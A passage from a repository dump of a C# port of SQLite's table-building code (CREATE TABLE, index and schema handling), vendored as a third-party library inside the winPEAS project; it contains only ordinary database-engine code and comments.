cursorHoldsMutex(pCur) ); Debug.Assert( sqlite3_mutex_held(pCur.pBtree.db.mutex) ); Debug.Assert(!pCur.isIncrblobHandle); Debug.Assert(!pCur.aOverflow); pCur.isIncrblobHandle = 1; } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/build_c.cs ================================================ using System; using System.Diagnostics; using System.Text; using i16 = System.Int16; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains C code routines that are called by the SQLite parser ** when syntax rules are reduced. The routines in this file handle the ** following kinds of SQL syntax: ** ** CREATE TABLE ** DROP TABLE ** CREATE INDEX ** DROP INDEX ** creating ID lists ** BEGIN TRANSACTION ** COMMIT ** ROLLBACK ** ** $Id: build.c,v 1.557 2009/07/24 17:58:53 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** This routine is called when a new SQL statement is beginning to ** be parsed. Initialize the pParse structure as needed. */ static void sqlite3BeginParse( Parse pParse, int explainFlag ) { pParse.explain = (byte)explainFlag; pParse.nVar = 0; } #if !SQLITE_OMIT_SHARED_CACHE /* ** The TableLock structure is only used by the sqlite3TableLock() and ** codeTableLocks() functions. */ //struct TableLock { // int iDb; /* The database containing the table to be locked */ // int iTab; /* The root page of the table to be locked */ // u8 isWriteLock; /* True for write lock. False for a read lock */ // string zName; /* Name of the table */ //}; public class TableLock { public int iDb; /* The database containing the table to be locked */ public int iTab; /* The root page of the table to be locked */ public u8 isWriteLock; /* True for write lock. False for a read lock */ public string zName; /* Name of the table */ } /* ** Record the fact that we want to lock a table at run-time. ** ** The table to be locked has root page iTab and is found in database iDb. ** A read or a write lock can be taken depending on isWritelock. ** ** This routine just records the fact that the lock is desired. The ** code to make the lock occur is generated by a later call to ** codeTableLocks() which occurs during sqlite3FinishCoding(). */ static void sqlite3TableLock( Parse pParse, /* Parsing context */ int iDb, /* Index of the database containing the table to lock */ int iTab, /* Root page number of the table to be locked */ u8 isWriteLock, /* True for a write lock */ string zName /* Name of the table to be locked */ ) { int i; int nBytes; TableLock p; Debug.Assert( iDb >= 0 ); for ( i = 0 ; i < pParse.nTableLock ; i++ ) { p = pParse.aTableLock[i]; if ( p.iDb == iDb && p.iTab == iTab ) { p.isWriteLock = (byte)( ( p.isWriteLock != 0 || isWriteLock != 0 ) ? 1 : 0 ); return; } } nBytes = ( pParse.nTableLock + 1 );//sizeof(TableLock) * Array.Resize( ref pParse.aTableLock, pParse.nTableLock + 1 ); // sqlite3DbReallocOrFree( pParse.db, pParse.aTableLock, nBytes ); if ( pParse.aTableLock != null ) { pParse.aTableLock[pParse.nTableLock] = new TableLock(); p = pParse.aTableLock[pParse.nTableLock++]; p.iDb = iDb; p.iTab = iTab; p.isWriteLock = isWriteLock; p.zName = zName; } else { pParse.nTableLock = 0; pParse.db.mallocFailed = 1; } } /* ** Code an OP_TableLock instruction for each table locked by the ** statement (configured by calls to sqlite3TableLock()). */ static void codeTableLocks( Parse pParse ) { int i; Vdbe pVdbe; pVdbe = sqlite3GetVdbe( pParse ); Debug.Assert( pVdbe != null ); /* sqlite3GetVdbe cannot fail: VDBE already allocated */ for ( i = 0 ; i < pParse.nTableLock ; i++ ) { TableLock p = pParse.aTableLock[i]; int p1 = p.iDb; sqlite3VdbeAddOp4( pVdbe, OP_TableLock, p1, p.iTab, p.isWriteLock, p.zName, P4_STATIC ); } } #else // #define codeTableLocks(x) static void codeTableLocks( Parse pParse ) { } #endif /* ** This routine is called after a single SQL statement has been ** parsed and a VDBE program to execute that statement has been ** prepared. This routine puts the finishing touches on the ** VDBE program and resets the pParse structure for the next ** parse. ** ** Note that if an error occurred, it might be the case that ** no VDBE code was generated. */ static void sqlite3FinishCoding( Parse pParse ) { sqlite3 db; Vdbe v; db = pParse.db; // if ( db.mallocFailed != 0 ) return; if ( pParse.nested != 0 ) return; if ( pParse.nErr != 0 ) return; /* Begin by generating some termination code at the end of the ** vdbe program */ v = sqlite3GetVdbe( pParse ); if ( v != null ) { sqlite3VdbeAddOp0( v, OP_Halt ); /* The cookie mask contains one bit for each database file open. ** (Bit 0 is for main, bit 1 is for temp, and so forth.) Bits are ** set for each database that is used. Generate code to start a ** transaction on each used database and to verify the schema cookie ** on each used database. */ if ( pParse.cookieGoto > 0 ) { u32 mask; int iDb; sqlite3VdbeJumpHere( v, pParse.cookieGoto - 1 ); for ( iDb = 0, mask = 1 ; iDb < db.nDb ; mask <<= 1, iDb++ ) { if ( ( mask & pParse.cookieMask ) == 0 ) continue; sqlite3VdbeUsesBtree( v, iDb ); sqlite3VdbeAddOp2( v, OP_Transaction, iDb, ( mask & pParse.writeMask ) != 0 ); if ( db.init.busy == 0 ) { sqlite3VdbeAddOp2( v, OP_VerifyCookie, iDb, pParse.cookieValue[iDb] ); } } #if !SQLITE_OMIT_VIRTUALTABLE { int i; for(i=0; iapVtabLock[i]); sqlite3VdbeAddOp4(v, OP_VBegin, 0, 0, 0, vtab, P4_VTAB); } pParse.nVtabLock = 0; } #endif /* Once all the cookies have been verified and transactions opened, ** obtain the required table-locks. This is a no-op unless the ** shared-cache feature is enabled. */ codeTableLocks( pParse ); /* Initialize any AUTOINCREMENT data structures required. */ sqlite3AutoincrementBegin( pParse ); /* Finally, jump back to the beginning of the executable code. */ sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.cookieGoto ); } } /* Get the VDBE program ready for execution */ if ( v != null && ALWAYS( pParse.nErr == 0 ) /* && 0 == db.mallocFailed */ ) { #if SQLITE_DEBUG TextWriter trace = ( db.flags & SQLITE_VdbeTrace ) != 0 ? Console.Out : null; sqlite3VdbeTrace( v, trace ); #endif Debug.Assert( pParse.iCacheLevel == 0 ); /* Disables and re-enables match */ sqlite3VdbeMakeReady( v, pParse.nVar, pParse.nMem, pParse.nTab, pParse.explain ); pParse.rc = SQLITE_DONE; pParse.colNamesSet = 0; } else if ( pParse.rc == SQLITE_OK ) { pParse.rc = SQLITE_ERROR; } pParse.nTab = 0; pParse.nMem = 0; pParse.nSet = 0; pParse.nVar = 0; pParse.cookieMask = 0; pParse.cookieGoto = 0; } /* ** Run the parser and code generator recursively in order to generate ** code for the SQL statement given onto the end of the pParse context ** currently under construction. When the parser is run recursively ** this way, the final OP_Halt is not appended and other initialization ** and finalization steps are omitted because those are handling by the ** outermost parser. ** ** Not everything is nestable. This facility is designed to permit ** INSERT, UPDATE, and DELETE operations against SQLITE_MASTER. Use ** care if you decide to try to use this routine for some other purposes. */ static void sqlite3NestedParse( Parse pParse, string zFormat, params object[] ap ) { // va_list ap; string zSql; // char *zSql; string zErrMsg = "";// char* zErrMsg = 0; sqlite3 db = pParse.db; //# define SAVE_SZ (Parse.Length - offsetof(Parse,nVar)) // char saveBuf[SAVE_SZ]; if ( pParse.nErr != 0 ) return; Debug.Assert( pParse.nested < 10 ); /* Nesting should only be of limited depth */ va_start( ap, zFormat ); zSql = sqlite3VMPrintf( db, zFormat, ap ); va_end( ap ); //if( zSql=="" ){ // return; /* A malloc must have failed */ //} pParse.nested++; pParse.SaveMembers(); // memcpy(saveBuf, pParse.nVar, SAVE_SZ); pParse.ResetMembers(); // memset(pParse.nVar, 0, SAVE_SZ); sqlite3RunParser( pParse, zSql, ref zErrMsg ); //sqlite3DbFree( db, ref zErrMsg ); //sqlite3DbFree( db, ref zSql ); pParse.RestoreMembers(); // memcpy(pParse.nVar, saveBuf, SAVE_SZ); pParse.nested--; } /* ** Locate the in-memory structure that describes a particular database ** table given the name of that table and (optionally) the name of the ** database containing the table. Return NULL if not found. ** ** If zDatabase is 0, all databases are searched for the table and the ** first matching table is returned. (No checking for duplicate table ** names is done.) The search order is TEMP first, then MAIN, then any ** auxiliary databases added using the ATTACH command. ** ** See also sqlite3LocateTable(). */ static Table sqlite3FindTable( sqlite3 db, string zName, string zDatabase ) { Table p = null; int i; int nName; Debug.Assert( zName != null ); nName = sqlite3Strlen30( zName ); for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ ) { int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ if ( zDatabase != null && sqlite3StrICmp( zDatabase, db.aDb[j].zName ) != 0 ) continue; p = (Table)sqlite3HashFind( db.aDb[j].pSchema.tblHash, zName, nName ); if ( p != null ) break; } return p; } /* ** Locate the in-memory structure that describes a particular database ** table given the name of that table and (optionally) the name of the ** database containing the table. Return NULL if not found. Also leave an ** error message in pParse.zErrMsg. ** ** The difference between this routine and sqlite3FindTable() is that this ** routine leaves an error message in pParse.zErrMsg where ** sqlite3FindTable() does not. */ static Table sqlite3LocateTable( Parse pParse, /* context in which to report errors */ int isView, /* True if looking for a VIEW rather than a TABLE */ string zName, /* Name of the table we are looking for */ string zDbase /* Name of the database. Might be NULL */ ) { Table p; /* Read the database schema. If an error occurs, leave an error message ** and code in pParse and return NULL. */ if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { return null; } p = sqlite3FindTable( pParse.db, zName, zDbase ); if ( p == null ) { string zMsg = isView != 0 ? "no such view" : "no such table"; if ( zDbase != null ) { sqlite3ErrorMsg( pParse, "%s: %s.%s", zMsg, zDbase, zName ); } else { sqlite3ErrorMsg( pParse, "%s: %s", zMsg, zName ); } pParse.checkSchema = 1; } return p; } /* ** Locate the in-memory structure that describes ** a particular index given the name of that index ** and the name of the database that contains the index. ** Return NULL if not found. ** ** If zDatabase is 0, all databases are searched for the ** table and the first matching index is returned. (No checking ** for duplicate index names is done.) The search order is ** TEMP first, then MAIN, then any auxiliary databases added ** using the ATTACH command. */ static Index sqlite3FindIndex( sqlite3 db, string zName, string zDb ) { Index p = null; int i; int nName = sqlite3Strlen30( zName ); for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ ) { int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ Schema pSchema = db.aDb[j].pSchema; Debug.Assert( pSchema != null ); if ( zDb != null && sqlite3StrICmp( zDb, db.aDb[j].zName ) != 0 ) continue; p = (Index)sqlite3HashFind( pSchema.idxHash, zName, nName ); if ( p != null ) break; } return p; } /* ** Reclaim the memory used by an index */ static void freeIndex( ref Index p ) { sqlite3 db = p.pTable.dbMem; /* testcase( db==0 ); */ //sqlite3DbFree( db, ref p.zColAff ); //sqlite3DbFree( db, ref p ); } /* ** Remove the given index from the index hash table, and free ** its memory structures. ** ** The index is removed from the database hash tables but ** it is not unlinked from the Table that it indexes. ** Unlinking from the Table must be done by the calling function. */ static void sqlite3DeleteIndex( Index p ) { Index pOld; string zName = p.zName; pOld = (Index)sqlite3HashInsert( ref p.pSchema.idxHash, zName, sqlite3Strlen30( zName ), null ); Debug.Assert( pOld == null || pOld == p ); freeIndex( ref p ); } /* ** For the index called zIdxName which is found in the database iDb, ** unlike that index from its Table then remove the index from ** the index hash table and free all memory structures associated ** with the index. */ static void sqlite3UnlinkAndDeleteIndex( sqlite3 db, int iDb, string zIdxName ) { Index pIndex; int len; Hash pHash = db.aDb[iDb].pSchema.idxHash; len = sqlite3Strlen30( zIdxName ); pIndex = (Index)sqlite3HashInsert( ref pHash, zIdxName, len, null ); if ( pIndex != null ) { if ( pIndex.pTable.pIndex == pIndex ) { pIndex.pTable.pIndex = pIndex.pNext; } else { Index p; /* Justification of ALWAYS(); The index must be on the list of ** indices. */ p = pIndex.pTable.pIndex; while ( ALWAYS( p != null ) && p.pNext != pIndex ) { p = p.pNext; } if ( ALWAYS( p != null && p.pNext == pIndex ) ) { p.pNext = pIndex.pNext; } } freeIndex( ref pIndex ); } db.flags |= SQLITE_InternChanges; } /* ** Erase all schema information from the in-memory hash tables of ** a single database. This routine is called to reclaim memory ** before the database closes. It is also called during a rollback ** if there were schema changes during the transaction or if a ** schema-cookie mismatch occurs. ** ** If iDb==0 then reset the internal schema tables for all database ** files. If iDb>=1 then reset the internal schema for only the ** single file indicated. */ static void sqlite3ResetInternalSchema( sqlite3 db, int iDb ) { int i, j; Debug.Assert( iDb >= 0 && iDb < db.nDb ); if ( iDb == 0 ) { sqlite3BtreeEnterAll( db ); } for ( i = iDb ; i < db.nDb ; i++ ) { Db pDb = db.aDb[i]; if ( pDb.pSchema != null ) { Debug.Assert( i == 1 || ( pDb.pBt != null && sqlite3BtreeHoldsMutex( pDb.pBt ) ) ); Debug.Assert( i == 1 || ( pDb.pBt != null ) ); sqlite3SchemaFree( pDb.pSchema ); } if ( iDb > 0 ) return; } Debug.Assert( iDb == 0 ); db.flags &= ~SQLITE_InternChanges; sqlite3VtabUnlockList( db ); sqlite3BtreeLeaveAll( db ); /* If one or more of the auxiliary database files has been closed, ** then remove them from the auxiliary database list. We take the ** opportunity to do this here since we have just deleted all of the ** schema hash tables and therefore do not have to make any changes ** to any of those tables. */ for ( i = j = 2 ; i < db.nDb ; i++ ) { Db pDb = db.aDb[i]; if ( pDb.pBt == null ) { //sqlite3DbFree( db, ref pDb.zName ); continue; } if ( j < i ) { db.aDb[j] = db.aDb[i]; } j++; } if ( db.nDb != j ) db.aDb[j] = new Db();//memset(db.aDb[j], 0, (db.nDb-j)*sizeof(db.aDb[j])); db.nDb = j; if ( db.nDb <= 2 && db.aDb != db.aDbStatic ) { Array.Copy( db.aDb, db.aDbStatic, 2 );// memcpy(db.aDbStatic, db.aDb, 2*sizeof(db.aDb[0])); //sqlite3DbFree(db,ref db.aDb); //db.aDb = db.aDbStatic; } } /* ** This routine is called when a commit occurs. */ static void sqlite3CommitInternalChanges( sqlite3 db ) { db.flags &= ~SQLITE_InternChanges; } /* ** Clear the column names from a table or view. */ static void sqliteResetColumnNames( Table pTable ) { int i; Column pCol; sqlite3 db = pTable.dbMem; testcase( db == null ); Debug.Assert( pTable != null ); for ( i = 0 ; i < pTable.nCol ; i++ ) { pCol = pTable.aCol[i]; if ( pCol != null ) { //sqlite3DbFree( db, ref pCol.zName ); sqlite3ExprDelete( db, ref pCol.pDflt ); //sqlite3DbFree( db, ref pCol.zDflt ); //sqlite3DbFree( db, ref pCol.zType ); //sqlite3DbFree( db, ref pCol.zColl ); } } pTable.aCol = null; //sqlite3DbFree( db, ref pTable.aCol ); pTable.nCol = 0; } /* ** Remove the memory data structures associated with the given ** Table. No changes are made to disk by this routine. ** ** This routine just deletes the data structure. It does not unlink ** the table data structure from the hash table. But it does destroy ** memory structures of the indices and foreign keys associated with ** the table. */ static void sqlite3DeleteTable( ref Table pTable ) { Index pIndex; Index pNext; FKey pFKey; FKey pNextFKey; sqlite3 db; if ( pTable == null ) return; db = pTable.dbMem; testcase( db == null ); /* Do not delete the table until the reference count reaches zero. */ pTable.nRef--; if ( pTable.nRef > 0 ) { return; } Debug.Assert( pTable.nRef == 0 ); /* Delete all indices associated with this table */ for ( pIndex = pTable.pIndex ; pIndex != null ; pIndex = pNext ) { pNext = pIndex.pNext; Debug.Assert( pIndex.pSchema == pTable.pSchema ); sqlite3DeleteIndex( pIndex ); } #if !SQLITE_OMIT_FOREIGN_KEY /* Delete all foreign keys associated with this table. */ for ( pFKey = pTable.pFKey ; pFKey != null ; pFKey = pNextFKey ) { pNextFKey = pFKey.pNextFrom; pFKey = null;// //sqlite3DbFree(db,ref pFKey); } #endif /* Delete the Table structure itself. */ sqliteResetColumnNames( pTable ); //sqlite3DbFree( db, ref pTable.zName ); //sqlite3DbFree( db, ref pTable.zColAff ); sqlite3SelectDelete( db, ref pTable.pSelect ); #if !SQLITE_OMIT_CHECK sqlite3ExprDelete( db, ref pTable.pCheck ); #endif sqlite3VtabClear( pTable ); //sqlite3DbFree( db, ref pTable ); } /* ** Unlink the given table from the hash tables and the delete the ** table structure with all its indices and foreign keys. */ static void sqlite3UnlinkAndDeleteTable( sqlite3 db, int iDb, string zTabName ) { Table p; Db pDb; Debug.Assert( db != null ); Debug.Assert( iDb >= 0 && iDb < db.nDb ); Debug.Assert( zTabName != null && zTabName[0] != '\0' ); pDb = db.aDb[iDb]; p = (Table)sqlite3HashInsert( ref pDb.pSchema.tblHash, zTabName, sqlite3Strlen30( zTabName ), null ); sqlite3DeleteTable( ref p ); db.flags |= SQLITE_InternChanges; } /* ** Given a token, return a string that consists of the text of that ** token. Space to hold the returned string ** is obtained from sqliteMalloc() and must be freed by the calling ** function. ** ** Any quotation marks (ex: "name", 'name', [name], or `name`) that ** surround the body of the token are removed. ** ** Tokens are often just pointers into the original SQL text and so ** are not \000 terminated and are not persistent. The returned string ** is \000 terminated and is persistent. */ static string sqlite3NameFromToken( sqlite3 db, Token pName ) { string zName; if ( pName != null && pName.z != null ) { zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(db, (char*)pName.z, pName.n); sqlite3Dequote( ref zName ); } else { return null; } return zName; } /* ** Open the sqlite_master table stored in database number iDb for ** writing. The table is opened using cursor 0. */ static void sqlite3OpenMasterTable( Parse p, int iDb ) { Vdbe v = sqlite3GetVdbe( p ); sqlite3TableLock( p, iDb, MASTER_ROOT, 1, SCHEMA_TABLE( iDb ) ); sqlite3VdbeAddOp3( v, OP_OpenWrite, 0, MASTER_ROOT, iDb ); sqlite3VdbeChangeP4( v, -1, (int)5, P4_INT32 ); /* 5 column table */ if ( p.nTab == 0 ) { p.nTab = 1; } } /* ** Parameter zName points to a nul-terminated buffer containing the name ** of a database ("main", "temp" or the name of an attached db). This ** function returns the index of the named database in db->aDb[], or ** -1 if the named db cannot be found. */ static int sqlite3FindDbName( sqlite3 db, string zName ) { int i = -1; /* Database number */ if ( zName != null ) { Db pDb; int n = sqlite3Strlen30( zName ); for ( i = ( db.nDb - 1 ) ; i >= 0 ; i-- ) { pDb = db.aDb[i]; if ( ( OMIT_TEMPDB == 0 || i != 1 ) && n == sqlite3Strlen30( pDb.zName ) && 0 == sqlite3StrICmp( pDb.zName, zName ) ) { break; } } } return i; } /* ** The token *pName contains the name of a database (either "main" or ** "temp" or the name of an attached db). This routine returns the ** index of the named database in db->aDb[], or -1 if the named db ** does not exist. */ static int sqlite3FindDb( sqlite3 db, Token pName ) { int i; /* Database number */ string zName; /* Name we are searching for */ zName = sqlite3NameFromToken( db, pName ); i = sqlite3FindDbName( db, zName ); //sqlite3DbFree( db, zName ); return i; } /* The table or view or trigger name is passed to this routine via tokens ** pName1 and pName2. If the table name was fully qualified, for example: ** ** CREATE TABLE xxx.yyy (...); ** ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if ** the table name is not fully qualified, i.e.: ** ** CREATE TABLE yyy(...); ** ** Then pName1 is set to "yyy" and pName2 is "". ** ** This routine sets the ppUnqual pointer to point at the token (pName1 or ** pName2) that stores the unqualified table name. The index of the ** database "xxx" is returned. */ static int sqlite3TwoPartName( Parse pParse, /* Parsing and code generating context */ Token pName1, /* The "xxx" in the name "xxx.yyy" or "xxx" */ Token pName2, /* The "yyy" in the name "xxx.yyy" */ ref Token pUnqual /* Write the unqualified object name here */ ) { int iDb; /* Database holding the object */ sqlite3 db = pParse.db; if ( ALWAYS( pName2 != null ) && pName2.n > 0 ) { if ( db.init.busy != 0 ) { sqlite3ErrorMsg( pParse, "corrupt database" ); pParse.nErr++; return -1; } pUnqual = pName2; iDb = sqlite3FindDb( db, pName1 ); if ( iDb < 0 ) { sqlite3ErrorMsg( pParse, "unknown database %T", pName1 ); pParse.nErr++; return -1; } } else { Debug.Assert( db.init.iDb == 0 || db.init.busy != 0 ); iDb = db.init.iDb; pUnqual = pName1; } return iDb; } /* ** This routine is used to check if the UTF-8 string zName is a legal ** unqualified name for a new schema object (table, index, view or ** trigger). All names are legal except those that begin with the string ** "sqlite_" (in upper, lower or mixed case). This portion of the namespace ** is reserved for internal use. */ static int sqlite3CheckObjectName( Parse pParse, string zName ) { if ( 0 == pParse.db.init.busy && pParse.nested == 0 && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 && 0 == sqlite3StrNICmp( zName, "sqlite_", 7 ) ) { sqlite3ErrorMsg( pParse, "object name reserved for internal use: %s", zName ); return SQLITE_ERROR; } return SQLITE_OK; } /* ** Begin constructing a new table representation in memory. This is ** the first of several action routines that get called in response ** to a CREATE TABLE statement. In particular, this routine is called ** after seeing tokens "CREATE" and "TABLE" and the table name. The isTemp ** flag is true if the table should be stored in the auxiliary database ** file instead of in the main database file. This is normally the case ** when the "TEMP" or "TEMPORARY" keyword occurs in between ** CREATE and TABLE. ** ** The new table record is initialized and put in pParse.pNewTable. ** As more of the CREATE TABLE statement is parsed, additional action ** routines will be called to add more information to this record. ** At the end of the CREATE TABLE statement, the sqlite3EndTable() routine ** is called to complete the construction of the new table record. */ static void sqlite3StartTable( Parse pParse, /* Parser context */ Token pName1, /* First part of the name of the table or view */ Token pName2, /* Second part of the name of the table or view */ int isTemp, /* True if this is a TEMP table */ int isView, /* True if this is a VIEW */ int isVirtual, /* True if this is a VIRTUAL table */ int noErr /* Do nothing if table already exists */ ) { Table pTable; string zName = null; /* The name of the new table */ sqlite3 db = pParse.db; Vdbe v; int iDb; /* Database number to create the table in */ Token pName = new Token(); /* Unqualified name of the table to create */ /* The table or view name to create is passed to this routine via tokens ** pName1 and pName2. If the table name was fully qualified, for example: ** ** CREATE TABLE xxx.yyy (...); ** ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if ** the table name is not fully qualified, i.e.: ** ** CREATE TABLE yyy(...); ** ** Then pName1 is set to "yyy" and pName2 is "". ** ** The call below sets the pName pointer to point at the token (pName1 or ** pName2) that stores the unqualified table name. The variable iDb is ** set to the index of the database that the table or view is to be ** created in. */ iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); if ( iDb < 0 ) return; if ( OMIT_TEMPDB == 0 && isTemp != 0 && iDb > 1 ) { /* If creating a temp table, the name may not be qualified */ sqlite3ErrorMsg( pParse, "temporary table name must be unqualified" ); return; } if ( OMIT_TEMPDB == 0 && isTemp != 0 ) iDb = 1; pParse.sNameToken = pName; zName = sqlite3NameFromToken( db, pName ); if ( zName == null ) return; if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) { goto begin_table_error; } if ( db.init.iDb == 1 ) isTemp = 1; #if !SQLITE_OMIT_AUTHORIZATION Debug.Assert( (isTemp & 1)==isTemp ); { int code; char *zDb = db.aDb[iDb].zName; if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(isTemp), 0, zDb) ){ goto begin_table_error; } if( isView ){ if( OMIT_TEMPDB ==0&& isTemp ){ code = SQLITE_CREATE_TEMP_VIEW; }else{ code = SQLITE_CREATE_VIEW; } }else{ if( OMIT_TEMPDB ==0&& isTemp ){ code = SQLITE_CREATE_TEMP_TABLE; }else{ code = SQLITE_CREATE_TABLE; } } if( !isVirtual && sqlite3AuthCheck(pParse, code, zName, 0, zDb) ){ goto begin_table_error; } } #endif /* Make sure the new table name does not collide with an existing ** index or table name in the same database. Issue an error message if ** it does. The exception is if the statement being parsed was passed ** to an sqlite3_declare_vtab() call. In that case only the column names ** and types will be used, so there is no need to test for namespace ** collisions. */ if ( !IN_DECLARE_VTAB ) { if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { goto begin_table_error; } pTable = sqlite3FindTable( db, zName, db.aDb[iDb].zName ); if ( pTable != null ) { if ( noErr == 0 ) { sqlite3ErrorMsg( pParse, "table %T already exists", pName ); } goto begin_table_error; } if ( sqlite3FindIndex( db, zName, null ) != null && ( iDb == 0 || 0 == db.init.busy ) ) { sqlite3ErrorMsg( pParse, "there is already an index named %s", zName ); goto begin_table_error; } } pTable = new Table();// sqlite3DbMallocZero(db, Table).Length; if ( pTable == null ) { // db.mallocFailed = 1; pParse.rc = SQLITE_NOMEM; pParse.nErr++; goto begin_table_error; } pTable.zName = zName; pTable.iPKey = -1; pTable.pSchema = db.aDb[iDb].pSchema; pTable.nRef = 1; pTable.dbMem = null; Debug.Assert( pParse.pNewTable == null ); pParse.pNewTable = pTable; /* If this is the magic sqlite_sequence table used by autoincrement, ** then record a pointer to this table in the main database structure ** so that INSERT can find the table easily. */ #if !SQLITE_OMIT_AUTOINCREMENT if ( pParse.nested == 0 && zName == "sqlite_sequence" ) { pTable.pSchema.pSeqTab = pTable; } #endif /* Begin generating the code that will insert the table record into ** the SQLITE_MASTER table. Note in particular that we must go ahead ** and allocate the record number for the table entry now. Before any ** PRIMARY KEY or UNIQUE keywords are parsed. Those keywords will cause ** indices to be created and the table record must come before the ** indices. Hence, the record number for the table must be allocated ** now. */ if ( 0 == db.init.busy && ( v = sqlite3GetVdbe( pParse ) ) != null ) { int j1; int fileFormat; int reg1, reg2, reg3; sqlite3BeginWriteOperation( pParse, 0, iDb ); if ( isVirtual != 0 ) { sqlite3VdbeAddOp0( v, OP_VBegin ); } /* If the file format and encoding in the database have not been set, ** set them now. */ reg1 = pParse.regRowid = ++pParse.nMem; reg2 = pParse.regRoot = ++pParse.nMem; reg3 = ++pParse.nMem; sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, reg3, BTREE_FILE_FORMAT ); sqlite3VdbeUsesBtree( v, iDb ); j1 = sqlite3VdbeAddOp1( v, OP_If, reg3 ); fileFormat = ( db.flags & SQLITE_LegacyFileFmt ) != 0 ? 1 : SQLITE_MAX_FILE_FORMAT; sqlite3VdbeAddOp2( v, OP_Integer, fileFormat, reg3 ); sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, reg3 ); sqlite3VdbeAddOp2( v, OP_Integer, ENC( db ), reg3 ); sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_TEXT_ENCODING, reg3 ); sqlite3VdbeJumpHere( v, j1 ); /* This just creates a place-holder record in the sqlite_master table. ** The record created does not contain anything yet. It will be replaced ** by the real entry in code generated at sqlite3EndTable(). ** ** The rowid for the new entry is left in register pParse->regRowid. ** The root page number of the new table is left in reg pParse->regRoot. ** The rowid and root page number values are needed by the code that ** sqlite3EndTable will generate. */ if ( isView != 0 || isVirtual != 0 ) { sqlite3VdbeAddOp2( v, OP_Integer, 0, reg2 ); } else { sqlite3VdbeAddOp2( v, OP_CreateTable, iDb, reg2 ); } sqlite3OpenMasterTable( pParse, iDb ); sqlite3VdbeAddOp2( v, OP_NewRowid, 0, reg1 ); sqlite3VdbeAddOp2( v, OP_Null, 0, reg3 ); sqlite3VdbeAddOp3( v, OP_Insert, 0, reg3, reg1 ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); sqlite3VdbeAddOp0( v, OP_Close ); } /* Normal (non-error) return. */ return; /* If an error occurs, we jump here */ begin_table_error: //sqlite3DbFree( db, ref zName ); return; } /* ** This macro is used to compare two strings in a case-insensitive manner. ** It is slightly faster than calling sqlite3StrICmp() directly, but ** produces larger code. ** ** WARNING: This macro is not compatible with the strcmp() family. It ** returns true if the two strings are equal, otherwise false. */ //#define STRICMP(x, y) (\ //sqlite3UpperToLower[*(unsigned char *)(x)]== \ //sqlite3UpperToLower[*(unsigned char *)(y)] \ //&& sqlite3StrICmp((x)+1,(y)+1)==0 ) /* ** Add a new column to the table currently being constructed. ** ** The parser calls this routine once for each column declaration ** in a CREATE TABLE statement. sqlite3StartTable() gets called ** first to get things going. Then this routine is called for each ** column. */ static void sqlite3AddColumn( Parse pParse, Token pName ) { Table p; int i; string z; Column pCol; sqlite3 db = pParse.db; if ( ( p = pParse.pNewTable ) == null ) return; #if SQLITE_MAX_COLUMN || !SQLITE_MAX_COLUMN if ( p.nCol + 1 > db.aLimit[SQLITE_LIMIT_COLUMN] ) { sqlite3ErrorMsg( pParse, "too many columns on %s", p.zName ); return; } #endif z = sqlite3NameFromToken( db, pName ); if ( z == null ) return; for ( i = 0 ; i < p.nCol ; i++ ) { if ( 0 == sqlite3StrICmp( z, p.aCol[i].zName ) ) {//STRICMP(z, p.aCol[i].zName) ){ sqlite3ErrorMsg( pParse, "duplicate column name: %s", z ); //sqlite3DbFree( db, ref z ); return; } } if ( ( p.nCol & 0x7 ) == 0 ) { //aNew = sqlite3DbRealloc(db,p.aCol,(p.nCol+8)*sizeof(p.aCol[0])); //if( aNew==0 ){ // //sqlite3DbFree(db,ref z); // return; //} Array.Resize( ref p.aCol, p.nCol + 8 ); } p.aCol[p.nCol] = new Column(); pCol = p.aCol[p.nCol]; //memset(pCol, 0, sizeof(p.aCol[0])); pCol.zName = z; /* If there is no type specified, columns have the default affinity ** 'NONE'. If there is a type specified, then sqlite3AddColumnType() will ** be called next to set pCol.affinity correctly. */ pCol.affinity = SQLITE_AFF_NONE; p.nCol++; } /* ** This routine is called by the parser while in the middle of ** parsing a CREATE TABLE statement. A "NOT NULL" constraint has ** been seen on a column. This routine sets the notNull flag on ** the column currently under construction. */ static void sqlite3AddNotNull( Parse pParse, int onError ) { Table p; p = pParse.pNewTable; if ( p == null || NEVER( p.nCol < 1 ) ) return; p.aCol[p.nCol - 1].notNull = (u8)onError; } /* ** Scan the column type name zType (length nType) and return the ** associated affinity type. ** ** This routine does a case-independent search of zType for the ** substrings in the following table. If one of the substrings is ** found, the corresponding affinity is returned. If zType contains ** more than one of the substrings, entries toward the top of ** the table take priority. For example, if zType is 'BLOBINT', ** SQLITE_AFF_INTEGER is returned. ** ** Substring | Affinity ** -------------------------------- ** 'INT' | SQLITE_AFF_INTEGER ** 'CHAR' | SQLITE_AFF_TEXT ** 'CLOB' | SQLITE_AFF_TEXT ** 'TEXT' | SQLITE_AFF_TEXT ** 'BLOB' | SQLITE_AFF_NONE ** 'REAL' | SQLITE_AFF_REAL ** 